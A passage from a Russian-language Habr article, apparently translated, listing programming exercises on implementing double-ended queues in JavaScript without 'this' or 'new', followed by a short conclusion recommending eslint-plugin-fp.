2. В этой реализации двухсторонней очереди используется связный список. Ещё один вариант основан на обычных массивах JavaScript. Создайте все необходимые для двухсторонней очереди операции, используя массив. Назовите эту реализацию `ArrayDeque`. И помните — никаких `this` и `new`.
3. Проанализируйте реализации двухсторонних очередей с использованием массивов и списков. Подумайте о временной и пространственной сложности используемых алгоритмов. Сравните их и запишите свои выводы.
4. Ещё один способ реализации двухсторонних очередей заключается в одновременном использовании массивов и связных списков. Такую реализацию можно назвать `MixedQueue`. При таком подходе сначала создают массив фиксированного размера. Назовём его `block`. Пусть его размер будет 64 элемента. В нём будут храниться элементы очереди. При попытке добавить в очередь больше 64-х элементов создают новый блок данных, который соединяют с предыдущим с помощью связного списка по модели FIFO. Реализуйте методы двухсторонней очереди, используя этот подход. Каковы преимущества и недостатки такой структуры? Запишите свои выводы.
5. Эдди Османи написал книгу «Шаблоны проектирования в JavaScript». Там он говорит о [недостатках](https://addyosmani.com/resources/essentialjsdesignpatterns/book/#revealingmodulepatternjavascript) шаблона revealing module. Один из них заключается в следующем. Если приватная функция модуля использует общедоступную функцию того же модуля, эту общедоступную функцию нельзя переопределить извне, пропатчить. Даже если попытаться это сделать, приватная функция всё равно будет обращаться к исходной приватной реализации общедоступной функции. То же самое касается и попытки изменения извне общедоступной переменной, доступ к которой даёт API модуля. Разработайте способ обхода этого недостатка. Подумайте о том, что такое зависимости, как инвертировать управление. Как обеспечить то, чтобы все приватные функции модуля работали с его общедоступными функциями так, чтобы у нас была возможность контролировать общедоступные функции. Запишите свои идеи.
6. Напишите метод, `join`, который позволяет соединять две двухсторонних очереди. Например, вызов `LinkedListDeque.join(first, second)` присоединит вторую очередь к концу первой и вернёт новую двухстороннюю очередь.
7. Разработайте механизм обхода очереди, который не разрушает её и позволяет выполнять итерации по ней в цикле `for`. Для этого упражнения можете использовать [итераторы ES6](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Iteration_protocols).
8. Разработайте неразрушающий механизм обхода очереди в обратном порядке.
9. Опубликуйте то, что у вас получилось, на GitHub, расскажите всем о том, что создали реализацию двухсторонней очереди без `this`, и о том, как хорошо вы во всём этом разбираетесь. Ну и про [меня](https://www.linkedin.com/in/theofanis-despoudis-7bb30913/) упомянуть не забудьте.
После того, как справитесь с этими основными заданиями, можете сделать и ещё несколько дополнительных.
1. Используйте любой фреймворк для тестирования и добавьте тесты ко всем своим реализациям двухсторонних очередей. Не забудьте протестировать пограничные случаи.
2. Переработайте реализацию двухсторонней очереди так, чтобы она поддерживала элементы с приоритетом. Элементам такой очереди можно назначать приоритет. Если такая очередь будет использоваться для хранения элементов без назначения им приоритета, её поведение ничем не будет отличаться от обычной. Если же элементам назначают приоритет, нужно обеспечить, чтобы после каждой операции последний элемент в списке имел бы наименьший приоритет, а первый — наибольший. Создайте тесты и для этой реализации двухсторонней очереди.
3. Полином — это выражение, которое может быть записано в виде `an * x^n + an-1*x^n-1 + ... + a1x^1 + a0`. Здесь `an..a0 —` это коэффициенты полинома, а `n…1 —` показатели степени. Создайте реализацию структуры данных для работы с полиномами, разработайте методы для сложения, вычитания, [умножения](https://www.mathsisfun.com/algebra/polynomials-multiplying.html) и [деления](https://www.mathsisfun.com/algebra/polynomials-division-long.html) полиномов. Ограничьтесь только упрощёнными полиномами. Добавьте тесты для проверки правильности решения. Обеспечьте, чтобы все методы, возвращающие результат, возвращали бы его в виде двухсторонней очереди.
4. До сих пор предполагалось, что вы используете JavaScript. Выберите какой-нибудь другой язык программирования и выполните все предыдущие упражнения на нём. Это может быть Python, Go, C++, или что угодно другое.
Итоги
-----
Надеюсь, упражнения вы выполнили и узнали с их помощью что-нибудь полезное. Если вы думаете, что преимущества отказа от использования `this` стоят усилий по переходу на новую модель программирования, взгляните на [eslint-plugin-fp](https://github.com/jfmengels/eslint-plugin-fp). С помощью этого плагина можно автоматизировать проверки кода. И, если вы работаете в команде, прежде чем отказываться от `this`, договоритесь с коллегами, иначе, при встрече с ними, не удивляйтесь их угрюмым лицам. Хорошего вам кода!
Уважаемые читатели! Как вы относитесь к `this` в JavaScript? | https://habr.com/ru/post/334222/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.